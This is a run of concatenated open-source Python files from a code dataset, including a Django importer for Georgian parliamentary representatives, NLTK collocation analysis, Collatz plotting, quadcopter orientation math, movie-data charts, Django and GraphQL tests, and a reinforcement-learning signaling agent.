representative even though scrape date is not newer\n force = False\n #: unit where all imported people are a member of\n unit = None\n\n\n def _get_isodate(self, date):\n \"\"\"Convert given date to a database-compatible ISO date.\n\n The dates in the CSV file are still in a horrible mess.\n\n @param date: date to convert\n @type date: str\n @return: date in ISO format\n @rtype: str\n \"\"\"\n fmt = 'Wrong date format: %s\\n'\n parts = date.strip().split('.')\n parts = [x.strip() for x in parts]\n parts_len = len(parts)\n\n if parts_len == 1: # only got year\n parts.insert(0, '01')\n parts.insert(0, '01')\n elif parts_len == 2: # only got year + month\n parts.insert(0, '01')\n\n if len(parts[0]) < 2:\n if not parts[0] or parts[0] == '0':\n parts[0] = '01'\n else:\n parts[0] = '0' + parts[0]\n\n if len(parts[1]) < 2:\n if not parts[1] or parts[1] == '0':\n parts[1] = '01'\n else:\n parts[1] = '0' + parts[1]\n\n if len(parts[2]) != 4:\n self.stderr.write(fmt % date)\n return None\n\n try:\n return '%s-%s-%s' % (parts[2], parts[1], parts[0])\n except IndexError:\n self.stderr.write(fmt % date)\n return None\n\n\n def _get_data (self, row, index):\n \"\"\"Get one date item ouf of the row.\n\n @param row: data row\n @type row: [ str ]\n @param index: index of data item in row\n @type index: int\n \"\"\"\n try:\n return row[index].strip().decode('utf-8')\n except IndexError:\n return None\n\n\n def _add_representative_data (self, row, representative):\n \"\"\"Add data to a representative record.\n\n @param row: data row\n @type row: [ str ]\n @param representative: a representative\n @type representative: representative.Representative\n \"\"\"\n from representative.models import AdditionalInformation, Url\n representative.is_majoritarian = (self._get_data(row, 2) == u'მაჟორიტარი')\n representative.electoral_district = self._get_data(row, 4)\n representative.elected = self._get_data(row, 5)\n representative.faction = self._get_data(row, 6)\n representative.committee = self._get_data(row, 7)\n representative.pob = self._get_data(row, 10)\n representative.family_status = self._get_data(row, 11)\n representative.education = ';'.join([\n self._get_data(row, 12), self._get_data(row, 13),\n self._get_data(row, 14), self._get_data(row, 15)])\n representative.contact_address_phone = self._get_data(row, 16)\n\n url = self._get_data(row, 17)\n if url:\n url = Url(representative=representative, label=url, url=url)\n url.save()\n\n for i in xrange(40, 50):\n data = self._get_data(row, i)\n if data:\n info = AdditionalInformation(\n representative=representative, value=data)\n info.save()\n\n representative.save()\n\n\n @transaction.commit_on_success\n def _create_representative (self, row):\n from representative.models import Representative\n \"\"\"Create a complete Representative record.\n\n @param row: data row\n @type row: [ str ]\n @return: a representative\n @rtype: representative.Representative\n \"\"\"\n name = glt.firstname_first(row[1])\n self.stdout.write('%s | Representative: %s ... ' % (row[0], name))\n\n dob = self._get_isodate(row[9].decode('utf-8'))\n representative = Representative(\n date_of_birth=dob,\n description=row[8].decode('utf-8').strip(),\n unit=self.unit)\n representative.save()\n\n pname = PersonName(person=representative, name_ka=name, \n name_en=glt.to_latin(name), main=True)\n pname.save()\n\n people = Representative.objects.filter(slug=representative.slug)\n if len(people) > 1:\n if self.force:\n people.exclude(pk=representative.pk).delete()\n self.stdout.write('replace existing!\\n')\n self._add_representative_data(row, representative)\n return representative\n else:\n self.stdout.write('keep already existing!\\n')\n slug = representative.slug\n representative.delete()\n return Representative.objects.get(slug=slug)\n else:\n self.stdout.write('add new!\\n')\n self._add_representative_data(row, representative)\n return representative\n\n\n @transaction.commit_on_success\n def _create_party (self, representative, row):\n \"\"\"Create a party.\n\n @param representative: a representative\n @type representative: representative.Representative\n @param row: data row\n @type row: [ str ]\n @return: an organisation\n @rtype: popit.Organisation\n \"\"\"\n from representative.models import Party\n name = row[3].decode('utf-8').strip()\n self.stdout.write(' Party %s ... ' % (name))\n\n party = Party()\n party.save()\n OrganisationName(organisation=party, name=name, main=True).save()\n\n parties = Party.objects.filter(slug=party.slug)\n if len(parties) > 1:\n self.stdout.write('keep already existing!\\n')\n slug = party.slug\n party.delete()\n party = Party.objects.get(slug=slug)\n else:\n self.stdout.write('add new!\\n')\n party.unit.add(self.unit)\n\n representative.party = party\n representative.save()\n\n return party\n\n\n def _get_startend_dates (self, dates):\n \"\"\"Get work experience start and end dates.\n\n @param dates: start and end dates\n @type dates: str\n @return: start and end dates\n @rtype: ( str, str )\n \"\"\"\n dates_len = len(dates)\n if dates_len == 2:\n start_date = self._get_isodate(dates[0])\n end_date = self._get_isodate(dates[1])\n elif dates_len == 1:\n start_date = self._get_isodate(dates[0])\n end_date = None\n else:\n start_date = None\n end_date = None\n\n return start_date, end_date\n\n\n @transaction.commit_on_success\n def _create_positions (self, representative, row):\n \"\"\"Create Position records for the given representative.\n\n @param representative: a representative\n @type representative: representative.Representative\n @param row: data row\n @type row: [ str ]\n @return: all positions\n @rtype: [ representative.Representative ]\n \"\"\"\n positions = []\n max_length = Position._meta.get_field('title').max_length\n sep = '-'\n\n for i in xrange(18, 40): # work experiences\n try:\n if not row[i]: continue\n except IndexError:\n continue\n\n experience = row[i].strip().replace('–', sep).split(sep)\n if len(experience) < 3:\n msg = 'Faulty Work Experience, lumping everything together:\\n'\n self.stderr.write(msg)\n title = sep.join(experience)\n else:\n title = sep.join(experience[2:])\n title = title.strip().decode('utf-8')[:max_length-1]\n self.stdout.write(' Position %s ... ' % (title))\n\n existing = Position.objects.filter(\n person=representative, title=title)\n if len(existing) > 0:\n if self.force:\n self.stdout.write('replace existing!\\n')\n existing.delete()\n else:\n self.stdout.write('keep already existing!\\n')\n continue\n else:\n self.stdout.write('add new!\\n')\n\n start_date, end_date = self._get_startend_dates(experience[0:2])\n try:\n position = Position(person=representative, title=title,\n start_date=start_date, end_date=end_date)\n except (ValidationError, NameError):\n self.stderr.write('Yet another date formatting error!\\n')\n else:\n position.save()\n positions.append(position)\n\n return positions\n\n\n\n def handle (self, *args, **options):\n \"\"\"Command handler.\"\"\"\n from representative.models import Unit\n self.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout)\n if options.get('force'):\n self.force = True\n else:\n self.force = False\n\n if len(args) < 1:\n self.stderr.write('Missing file to read CSV data from!\\n')\n return\n\n if len(args) < 2:\n self.stdout.write('Assuming unit \"parliament\"\\n')\n self.unit = Unit.objects.get(short='parliament')\n else:\n self.unit = Unit.objects.get(short=args[1])\n self.stdout.write('Using unit \"%s\"\\n' % self.unit)\n\n rows = csv.reader(open(args[0], 'rb'), delimiter=DELIMITER)\n for row in rows:\n if not row or not row[0]: continue # headers\n\n if len(row) < 35:\n self.stdout.write('Invalid representative record.\\n')\n continue\n\n representative = self._create_representative(row)\n if not representative: continue\n party = self._create_party(representative, row)\n positions = self._create_positions(representative, row)\n self.stdout.write('\\n')\n","repo_name":"tigeorgia/shenmartav","sub_path":"apps/representative/management/commands/import_representatives.py","file_name":"import_representatives.py","file_ext":"py","file_size_in_byte":10754,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"6179609907","text":"from nltk.corpus import wordnet as wn\nfrom nltk.corpus import gutenberg\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.book import *\nfrom nltk.collocations import *\n\ntokens_all=gutenberg.words()\ngut_text = nltk.Text(tokens_all)\n\nboosters = ['absolutely', 'amazingly', 'completely', 'deeply', 'enormously', 'entirely', 'extremely', 'fabulously', 'fricking', 'fully', 'greatly', 'highly', 'hugely', 'incredibly', 'intensly', 'purely', 'really', 'remarkably', 'substantially', 'thoroughly', 'totally', 'tremendously', 'unbelievably', 'very', 'exceedingly', 'certainly', 'definitely', 'clearly', 'strongly']\n\nunrecog = ['I', 'my', 'me', 'mine', 'you', 'your', 'yours', 'he', 'his', 'him', 'she', 'her', 'hers', 'it', 'its', 'they', 'their', 'them', 'the', 'that', 'those', 'but', 'is', 'are', 'soon', 'and', 'not', 'a', 'an', 'of', 'for','be', 'been', 'were', 'was', 'become', 'became', 'do', 'did']\n\n#more, most, flipping, ... deleted from the boosters list.\n#exceedingly, certainly, definitely, clearly added to the list\n\ndef adjset(text):\n\tadjlist = [w for w in text if wn.synsets(w, 'a') or wn.synsets(w, 's')]\n\treturn set(adjlist)\n\ndef verbset(text):\n\tverblist = [w for w in text if wn.synsets(w, 'v')]\n\treturn set(verblist)\n\ndef findBigrams(text, unrecognized, booster):\n\tbigram_measures = nltk.collocations.BigramAssocMeasures()\n\tfinder = BigramCollocationFinder.from_words(text)\n\t#filters words that are not not alphabets, which are in unrecognized word list, bigrams not containing booster words\n\t#Also filters the words with nouns or words not in the dict.\n\tfinder.apply_word_filter(lambda w: not w[0].isalpha())\n\tfinder.apply_word_filter(lambda w: w in unrecognized)\n\tfinder.apply_ngram_filter(lambda w1, w2: (w1 not in booster and w2 not in booster))\n\tfinder.apply_word_filter(lambda w: wn.synsets(w)==[]) \n\t\t#or wn.synsets(w)[0].pos() =='n')\n\tfinder.apply_freq_filter(2)\n\treturn finder.nbest(bigram_measures.likelihood_ratio, 500)\n\ndef syndict(wordlist):\n\treturndict = {}\n\tfor w in wordlist:\n\t\tif w[-2:] == ('ed'): continue\n\t\tif w in boosters: continue\n\t\tsyn = []\n\t\tfor synset in wn.synsets(w, pos='v'):\n\t\t\tsyn += synset.lemma_names()\n\t\tl = list(set(syn))\n\t\tif w.lower() in l: l.remove(w.lower())\n\t\tfor s in l:\n\t\t\tif wn.synsets(s)[0].pos()!= ('v'):\n\t\t\t\t\tl.remove(s)\n\t\tif 0 1:\n\t\tif print_trajectory: print(num, end='')\n\t\tif num % 2 == 0:\n\t\t\tnum //= 2\n\t\t\tif print_trajectory: print(f' / 2 = {num}')\n\t\telse:\n\t\t\tnum = 3 * num + 1\n\t\t\tif print_trajectory: print(f' * 3 + 1 = {num}')\n\t\ttrajectory.append(num)\n\treturn trajectory\n\n\nif __name__ == '__main__':\n\t# 1. Plot trajectory for a single number\n\n\tnum = 27\n\ttrajectory = do_collatz(num, print_trajectory=True)\n\tplt.plot(trajectory, color='red', linewidth=1)\n\tplt.xlabel('Iteration')\n\tplt.ylabel('Value')\n\tplt.title(f'{len(trajectory) - 1} iterations for {num:,} to reach 1 (max value: {max(trajectory):,})')\n\tplt.show()\n\n\t# 2. Plot no. iterations per number, 1 to 10,000\n\n\tnums_and_iters = dict()\n\n\tfor i in range(1, 10001):\n\t\ttrajectory = do_collatz(i, print_trajectory=False)\n\t\tnums_and_iters[i] = len(trajectory) - 1\n\n\tplt.scatter(nums_and_iters.keys(), nums_and_iters.values(), color='red', s=1)\n\tplt.xlabel('Number')\n\tplt.ylabel('No. iters to reach 1')\n\tplt.title('Iterations per num')\n\tplt.show()\n\n\t# 3. Generate graph of trajectories of all numbers that take <= 15 steps to reach 1\n\n\t# See https://en.wikipedia.org/wiki/Collatz_conjecture#In_reverse\n\t# (function for generating trajectories in reverse)\n\n\tmax_depth = 15\n\tnodes = [1]\n\tedges = dict()\n\n\tfor _ in range(max_depth):\n\t\tfor n in nodes[:]:\n\t\t\tnew_n = 2 * n\n\t\t\tif new_n not in nodes:\n\t\t\t\tnodes.append(new_n)\n\t\t\t\tedges[n] = [new_n]\n\t\t\tif n % 6 == 4:\n\t\t\t\tnew_n = (n - 1) // 3\n\t\t\t\tif new_n not in nodes:\n\t\t\t\t\tnodes.append(new_n)\n\t\t\t\t\tedges[n].append(new_n)\n\n\tg = Digraph(\n\t\tgraph_attr={'nodesep': '0.1', 'ranksep': '0.3'},\n\t\tnode_attr={'style': 'filled,setlinewidth(0.5)', 'fontname': 'consolas'}\n\t)\n\n\tfor n in nodes:\n\t\tg.node(str(n), label=str(n), shape='oval', fillcolor='#30e090' if n == 1 else '#80c0ff')\n\n\tfor dest_node, src_nodes in edges.items():\n\t\tfor src_node in src_nodes:\n\t\t\tg.edge(str(src_node), str(dest_node))\n\n\tg.render('trajectory_graph', view=True, cleanup=True, format='png')\n","repo_name":"sambarba99/spare-time-projects","sub_path":"python/collatzconjecture/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"76"} +{"seq_id":"34929662788","text":"import math, time\r\nimport numpy\r\n#xb = 3*math.pi/4\r\n#yb = math.pi/4\r\nxb = 0#-math.pi/2 #phi roll O|\r\nyb = 0 #theta pitch O-\r\nzb = 0 #psi yaw trident\r\ngrav = 1023\r\n\r\nx = [[1,2,3],\r\n [4,5,6]]\r\n\r\n#Freescales app note 3461 has a good breakdown of the math needed\r\n\r\n#Takes the input in the order roll, pitch, yaw\r\ndef compute_dcm(phi, theta, psi):\r\n return numpy.array(\r\n [[math.cos(theta)*math.cos(psi), math.sin(phi)*math.sin(theta)*math.cos(psi)-math.cos(phi)*math.sin(psi), math.cos(phi)*math.sin(theta)*math.cos(psi)+math.sin(phi)*math.sin(psi)],\r\n [math.cos(theta)*math.cos(psi), math.sin(phi)*math.sin(theta)*math.cos(psi)+math.cos(phi)*math.sin(psi), math.cos(phi)*math.sin(theta)*math.cos(psi)-math.sin(phi)*math.sin(psi)],\r\n [-math.sin(theta), math.sin(phi)*math.cos(theta), math.cos(phi)*math.cos(theta)]]\r\n )\r\n\r\n#Takes the input in the order roll, pitch, yaw\r\ndef compute_t_dcm(phi, theta, psi):\r\n return list(zip(*compute_dcm(theta, phi, psi)))\r\n\r\ndef p_dcm():\r\n dcm = compute_dcm(xb, yb, zb)\r\n for i in dcm:\r\n print (i)\r\n\r\ndef p_t_dcm():\r\n dcm = compute_t_dcm(xb, yb, zb)\r\n for i in dcm:\r\n print (i)\r\n\r\n\r\ndef mag_x():\r\n dcm = compute_t_dcm(xb, yb, zb)\r\n return dcm[0][2]\r\n #return -math.sin(xb)*grav #3461 \r\n #return math.(xb)*math.sin(yb)*math.cos(zb)\r\n\r\ndef mag_y():\r\n dcm = compute_t_dcm(xb, yb, zb)\r\n return dcm[1][2]\r\n #return math.cos(xb)*math.sin(yb)*grav #3461\r\n #return math.cos(xb)*math.sin(yb)\r\n #return math.sin(xb)*math.sin(yb)*math.cos(zb)\r\n\r\ndef mag_z():\r\n dcm = compute_t_dcm(xb, yb, zb)\r\n return dcm[2][2]\r\n #return math.cos(xb)*math.cos(yb)*grav #3461\r\n \r\n\r\ndef grav_mag():\r\n Mx = mag_x()\r\n print('Mx:',Mx)\r\n My = mag_y()\r\n print('My:',My)\r\n Mz = mag_z()\r\n print('Mz:',Mz)\r\n \r\n return math.sqrt((Mx*Mx)+(My*My)+(Mz*Mz))\r\n\r\ndef pitch():\r\n Mx = mag_x()\r\n My = mag_y()\r\n Mz = mag_z()\r\n\r\n tan = (My/Mz)\r\n return math.atan2(My,Mz)\r\n\r\ndef roll():\r\n Mx = mag_x()\r\n My = mag_y()\r\n Mz = mag_z()\r\n return math.atan((-Mx/math.hypot(My,Mz)))\r\n\r\nwhile (xb <= math.pi*2):\r\n print ('xb:',xb)\r\n# print ('yb:',yb)\r\n print (grav_mag())\r\n print ('roll:',roll())\r\n# print ('pitch:',pitch())\r\n p_t_dcm()\r\n print('--------------------------------------')\r\n xb += math.pi/4\r\n\r\nprint('--------------------------------------')\r\nprint('--------------------------------------')\r\nprint('--------------------------------------')\r\n\r\nwhile (yb < math.pi):\r\n# print ('xb:',xb)\r\n print ('yb:',yb)\r\n print (grav_mag())\r\n# print ('roll:',roll())\r\n print ('pitch:',pitch())\r\n print('--------------------------------------')\r\n yb += math.pi/4\r\n\r\nprint('--------------------------------------')\r\nprint('--------------------------------------')\r\nprint('--------------------------------------')\r\n\r\nxb = math.pi/4\r\nyb = 0\r\n\r\nwhile (yb < math.pi/2):\r\n# print ('xb:',xb)\r\n print ('yb:',yb)\r\n print (grav_mag())\r\n# print ('roll:',roll())\r\n print ('pitch:',pitch())\r\n print('--------------------------------------')\r\n yb += math.pi/8\r\n\r\nprint('--------------------------------------')\r\nprint('--------------------------------------')\r\nprint('--------------------------------------')\r\n\r\nwhile (zb < math.pi):\r\n# print ('xb:',xb)\r\n print ('yb:',yb)\r\n print (grav_mag())\r\n print ('roll:',roll())\r\n print ('pitch:',pitch())\r\n print('--------------------------------------')\r\n zb += math.pi/4\r\n","repo_name":"egdinger/QuadCopterSim","sub_path":"prototypes/accel_test.py","file_name":"accel_test.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"31909917070","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nseparador = (\"°°°\" * 40) + \"\\n\"\r\ndarInicio = True\r\n\r\nwhile darInicio:\r\n print(\"\"\"\\nMENU de opciones: \\n\\n1)- Genero de pelicula con mas Likes(plt).\\n2)- Promedio de ganancia(plt).\\n3)- Comparar el presupuesto(plt).\r\n \\n4)- Pelicula con mas likes(sns).\\n5)- Salir.\\n \"\"\")\r\n datos=pd.read_csv('movies.csv')\r\n df=pd.DataFrame(datos)\r\n print(separador)\r\n opcion = input(\"¿Que operacion deseas realizar?: \\n\")\r\n if opcion == \"1\":\r\n print(\"Grafica para ver que genero de pelicula obtuvo mas likes en facebook.\\n\")\r\n print(separador)\r\n df.groupby('genres')['movie_facebook_likes'].sum().plot(kind='barh',legend='Reverse',color=\"green\")\r\n plt.xlabel(\"Suma de likes\")\r\n plt.show()\r\n elif opcion ==\"2\":\r\n print(\"Grafica para ver el promedio de ganancias.\\n\")\r\n print(separador)\r\n df.gross.groupby(df.genres).mean().plot(kind='pie',cmap=\"Paired\")\r\n plt.axis(\"equal\")\r\n plt.ylabel(\"\")\r\n plt.title(\"Promedio de ganancias\")\r\n plt.show()\r\n elif opcion ==\"3\":\r\n print(\"Grafica para comparar el presupuesto con la calificacion de la pelicula.\\n\")\r\n print(separador)\r\n df.groupby('budget')['imdb_score'].sum().plot(kind='bar',legend='Reverse',color=\"Black\")\r\n plt.xlabel(\"Presupuesto\")\r\n plt.ylabel(\"Calificación\")\r\n plt.show()\r\n elif opcion ==\"4\":\r\n print(\"Grafica de Dispercion para ver la pelicula con mas likes.\\n\")\r\n print(separador)\r\n sns.lmplot(x=\"num\",y=\"movie_facebook_likes\",data=df,fit_reg=False,hue=\"num\",legend=False,palette=\"Paired\")\r\n plt.show()\r\n elif opcion ==\"5\":\r\n darInicio=False\r\n else:\r\n print(\"Debes de elegir una opción valida\\n \")\r\nelse:\r\n print(\"Programa Terminado.\")","repo_name":"SteveGongoraL/Evidencia1","sub_path":"evidencia_Matplotlib_Seaborn.py","file_name":"evidencia_Matplotlib_Seaborn.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"21337676523","text":"import uuid\n\nimport pytest\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom rest_framework import status\n\nfrom .. import models\nfrom .. import utils\nfrom .. import factories\n\n\n@pytest.mark.usefixtures(\"client\")\nclass GameViewTest(TestCase):\n def test_create_game(self):\n response = self.client.post(reverse(\"game:new-game\"), {})\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertTrue(models.Game.objects.filter(uuid=response.data[\"uuid\"]).exists())\n\n\n@pytest.mark.usefixtures(\"client\")\nclass GuessViewTest(TestCase):\n def test_create_guess(self):\n game = factories.GameFactory()\n response = self.client.post(\n reverse(\"game:new-guess\", kwargs={\"uuid\": game.uuid.hex}), {\"guess_code\": utils.generate_code()}\n )\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertTrue(models.Guess.objects.filter(game__uuid=game.uuid).exists())\n\n def test_create_guess_game_not_exists(self):\n response = self.client.post(\n reverse(\"game:new-guess\", kwargs={\"uuid\": uuid.uuid4().hex}), {\"guess_code\": utils.generate_code()}\n )\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_create_guess_game_finish(self):\n game = factories.GameFactory(not_in_progress=True)\n\n response = self.client.post(\n reverse(\"game:new-guess\", kwargs={\"uuid\": game.uuid.hex}), {\"guess_code\": utils.generate_code()}\n )\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n\n@pytest.mark.usefixtures(\"client\")\nclass GameDetailViewTest(TestCase):\n def test_get_game(self):\n game = factories.GameFactory()\n response = self.client.get(reverse(\"game:game-detail\", kwargs={\"uuid\": game.uuid.hex}))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_get_game_not_exists(self):\n response = self.client.get(reverse(\"game:game-detail\", kwargs={\"uuid\": uuid.uuid4().hex}))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n","repo_name":"antonioIrizar/inari","sub_path":"src/apps/game/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"40954670986","text":"n = int(input())\n\ngroup_word = 0\n\nfor _ in range(n):\n word = input()\n result = 0\n for i in range(len(word)-1):\n if word[i] != word[i+1]:\n new = word[i+1:]\n if new.count(word[i]) > 0:\n result += 1\n if result == 0: \n group_word += 1\nprint(group_word)","repo_name":"mgskko/Algorithm","sub_path":"Baekjoon/Implementation/1316.py","file_name":"1316.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"9298393076","text":"import enum\nfrom typing import Optional, Union\n\nfrom graphql import graphql\nfrom graphotype import make_schema, Object\n\nimport pytest\n\nclass MyEnum(enum.Enum):\n ONE = 1\n TWO = 2\n\nclass Query(Object):\n val = MyEnum.ONE\n def f(self, val: MyEnum) -> int:\n return val.value\n\n@pytest.fixture(scope='module')\ndef schema():\n yield make_schema(query=Query)\n\ndef test_return_enum(schema):\n result = graphql(schema, 'query { val }', root=Query())\n assert not result.errors\n assert result.data == {\n 'val': 'ONE'\n }\n\ndef test_enum_arg_ast(schema):\n result = graphql(schema, 'query { f(val: ONE) }', root=Query())\n assert not result.errors\n assert result.data == {\n 'f': 1\n }\n\ndef test_enum_arg_var(schema):\n result = graphql(\n schema,\n 'query Q ($e: MyEnum!) { f(val: $e) }',\n root=Query(),\n variables={'e': 'TWO'}\n )\n assert not result.errors\n assert result.data == {\n 'f': 2\n }\n","repo_name":"benkuhn/graphotype","sub_path":"tests/test_enums.py","file_name":"test_enums.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"76"} +{"seq_id":"7862428112","text":"import torch\nfrom reaching_goals_utils import flatten_layers\nfrom network import actor, critic, signaling_net\n\nimport numpy as np\n\n\ndef calculate_critic_loss(critic, target_critic, loss_criterion, r, input, a, input_next, a_next, gamma):\n output_table = critic(input)\n target_output_table = target_critic(input_next)\n output = output_table[range(len(a)), a]\n target_output = target_output_table[range(len(a)), a_next]\n\n td_target = r + gamma * target_output\n critic_loss = loss_criterion(td_target, output)\n\n return critic_loss\n\n\ndef grad_and_step(net, net_optimizer, obj, type):\n assert type in ['descent', 'ascent']\n\n net_optimizer.zero_grad()\n net_grad = torch.autograd.grad(obj, list(net.parameters()), retain_graph=True)\n net_params = list(net.parameters())\n for layer in range(len(net_params)):\n if type == 'descent':\n net_params[layer].grad = net_grad[layer]\n else:\n net_params[layer].grad = - net_grad[layer]\n net_params[layer].grad.data.clamp_(-1, 1)\n net_optimizer.step()\n return\n\n\nclass sender_class(object):\n def __init__(self, config, device, id=0):\n self.name = name = 'sender'\n self.config = config\n self.device = device\n self.id = id\n self.dim_action = dim_action = config.env.dim_action\n self.epsilon = config.sender.epsilon_greedy\n\n # Gi(s,aj)\n self.critic_Gi = critic(config.n_channels.obs_sender, dim_action, config, belongto=name, name='critic_Gi',\n device=device)\n # Gj(s,aj)\n self.critic_Gj = critic(config.n_channels.obs_sender, dim_action, config, belongto=name, name='critic_Gj',\n device=device)\n # phi(sigma|s)\n self.signaling_net = signaling_net(config, device=device)\n\n self.critic_loss_criterion = torch.nn.MSELoss(reduction='mean')\n self.critic_Gi_optimizer = torch.optim.Adam(self.critic_Gi.parameters(), config.sender.lr_critic_Gi)\n self.critic_Gj_optimizer = torch.optim.Adam(self.critic_Gj.parameters(), config.sender.lr_critic_Gj)\n self.signaling_optimizer = torch.optim.Adam(self.signaling_net.parameters(), config.sender.lr_signal)\n\n # target critics\n self.target_critic_Gi = critic(config.n_channels.obs_sender, dim_action, config, belongto=name,\n name='target_critic_Gi', device=device)\n self.target_critic_Gi.load_state_dict(self.critic_Gi.state_dict())\n self.target_critic_Gj = critic(config.n_channels.obs_sender, dim_action, config, belongto=name,\n name='target_critic_Gj', device=device)\n self.target_critic_Gj.load_state_dict(self.critic_Gj.state_dict())\n\n self.temperature = 1\n\n def build_connection(self, receiver):\n self.receiver = receiver\n\n def calculate_v(self, critic, input_critic, phi, obs_receiver):\n batch_size = phi.shape[0]\n message_dim = phi.shape[1]\n\n # v(s) = \\sum_sigma phi(sigma|s) * \\sum_a pi(a|sigma) * Gi(s,a)\n if obs_receiver is not None:\n all_message = torch.nn.functional.one_hot(torch.arange(message_dim)) \\\n .view(message_dim,\n self.config.env.map_height,\n self.config.env.map_width) \\\n .unsqueeze(dim=0).repeat(batch_size, 1, 1, 1).unsqueeze(dim=2).to(self.device)\n\n obs_receiver = obs_receiver.unsqueeze(dim=1).repeat(1, message_dim, 1, 1, 1)\n # obs_receiver = obs_receiver.repeat(1, message_dim, 1, 1).unsqueeze(dim=2)\n obs_and_message_receiver = torch.cat([obs_receiver, all_message], dim=2)\n\n obs_and_message_receiver_flatten = obs_and_message_receiver.view(batch_size * message_dim,\n obs_and_message_receiver.shape[-3],\n obs_and_message_receiver.shape[-2],\n obs_and_message_receiver.shape[-1])\n\n _, pi_flatten = self.receiver.choose_action(obs_and_message_receiver_flatten)\n pi = pi_flatten.view(obs_and_message_receiver.shape[0], obs_and_message_receiver.shape[1],\n pi_flatten.shape[-1])\n pi_sum_all_message = torch.sum(pi * phi.unsqueeze(dim=2).repeat(1, 1, pi.shape[-1]), dim=1)\n else:\n all_message = torch.nn.functional.one_hot(torch.arange(message_dim)) \\\n .view(message_dim,\n self.config.env.map_height,\n self.config.env.map_width).unsqueeze(dim=1).to(self.device).type(torch.double)\n _, pi_flatten = self.receiver.choose_action(all_message)\n pi_sum_all_message = torch.einsum('ij,jk->ik', phi, pi_flatten)\n\n g_table = critic(input_critic)\n v = torch.sum(g_table * pi_sum_all_message, dim=1)\n return v\n\n def calculate_2critics_loss(self, batch):\n ri = batch.data[batch.name_dict['ri']]\n rj = batch.data[batch.name_dict['rj']]\n obs_sender = batch.data[batch.name_dict['obs_sender']]\n obs_sender_next = batch.data[batch.name_dict['obs_sender_next']]\n aj = batch.data[batch.name_dict['a']]\n aj_next = batch.data[batch.name_dict['a_next']]\n\n critic_loss_Gi = calculate_critic_loss(self.critic_Gi, self.target_critic_Gi, self.critic_loss_criterion,\n ri, input=obs_sender, a=aj, input_next=obs_sender_next, a_next=aj_next,\n gamma=self.config.sender.gamma)\n critic_loss_Gj = calculate_critic_loss(self.critic_Gj, self.target_critic_Gj, self.critic_loss_criterion,\n rj, input=obs_sender, a=aj, input_next=obs_sender_next, a_next=aj_next,\n gamma=self.config.sender.gamma)\n return critic_loss_Gi, critic_loss_Gj\n\n def softupdate_2target_critics(self):\n tau = self.config.nn.target_critic_tau\n for tar, cur in zip(self.target_critic_Gi.parameters(), self.critic_Gi.parameters()):\n tar.data.copy_(cur.data * (1.0 - tau) + tar.data * tau)\n for tar, cur in zip(self.target_critic_Gj.parameters(), self.critic_Gj.parameters()):\n tar.data.copy_(cur.data * (1.0 - tau) + tar.data * tau)\n return\n\n def calculate_for_updating(self, batch):\n critic_loss_Gi, critic_loss_Gj = self.calculate_2critics_loss(batch)\n gradeta = self.calculate_gradeta(batch)\n\n return critic_loss_Gi, critic_loss_Gj, gradeta\n\n def update(self, critic_loss_Gi, critic_loss_Gj, gradeta):\n\n grad_and_step(self.critic_Gi, self.critic_Gi_optimizer, critic_loss_Gi, 'descent')\n grad_and_step(self.critic_Gj, self.critic_Gj_optimizer, critic_loss_Gj, 'descent')\n\n self.softupdate_2target_critics()\n\n self.signaling_optimizer.zero_grad()\n params = list(self.signaling_net.parameters())\n for i in range(len(list(self.signaling_net.parameters()))):\n params[i].grad = - gradeta[i] # gradient ascent\n params[i].grad.data.clamp_(-1, 1)\n self.signaling_optimizer.step()\n\n def send_message(self, obs):\n batch_size = len(obs)\n logits, phi = self.signaling_net(obs)\n phi = (1 - self.epsilon) * phi + self.epsilon / phi.shape[0]\n sample = torch.nn.functional.gumbel_softmax(logits, tau=self.temperature, hard=True)\n message = sample.view(batch_size, 1, self.config.env.map_height, self.config.env.map_width)\n return message, phi\n\n def calculate_gradeta(self, batch):\n obs_sender = batch.data[batch.name_dict['obs_sender']]\n aj = batch.data[batch.name_dict['a']]\n pij = batch.data[batch.name_dict['pi']]\n pij_aj = pij[range(len(aj)), aj]\n\n phi = batch.data[batch.name_dict['phi']]\n # phi_np = np.array(phi.detach())\n sigma = message = batch.data[batch.name_dict['message']]\n sigma_flatten = sigma.view(sigma.shape[0], -1)\n idx_flatten = torch.nonzero(sigma_flatten)[:, 1]\n phi_sigma = phi[range(idx_flatten.shape[0]), idx_flatten]\n\n ''' SG (Signaling Gradient) '''\n # s, aj\n Gi_table = self.critic_Gi(obs_sender)\n Gi = Gi_table[range(len(aj)), aj]\n\n # oj\n obs_and_message_receiver = batch.data[batch.name_dict['obs_and_message_receiver']]\n obs_receiver = obs_and_message_receiver[:, 0:self.config.n_channels.obs_and_message_receiver - 1, :, :]\n if obs_receiver.size()[1] == 0:\n obs_receiver = None\n\n Vi = self.calculate_v(self.critic_Gi, obs_sender, phi, obs_receiver)\n advantage_i = Gi - Vi\n\n log_phi_sigma = torch.log(phi_sigma)\n log_pij_aj = torch.log(pij_aj)\n\n # tuning for gumbel-softmax\n term = torch.mean(advantage_i.detach() * (log_phi_sigma\n + 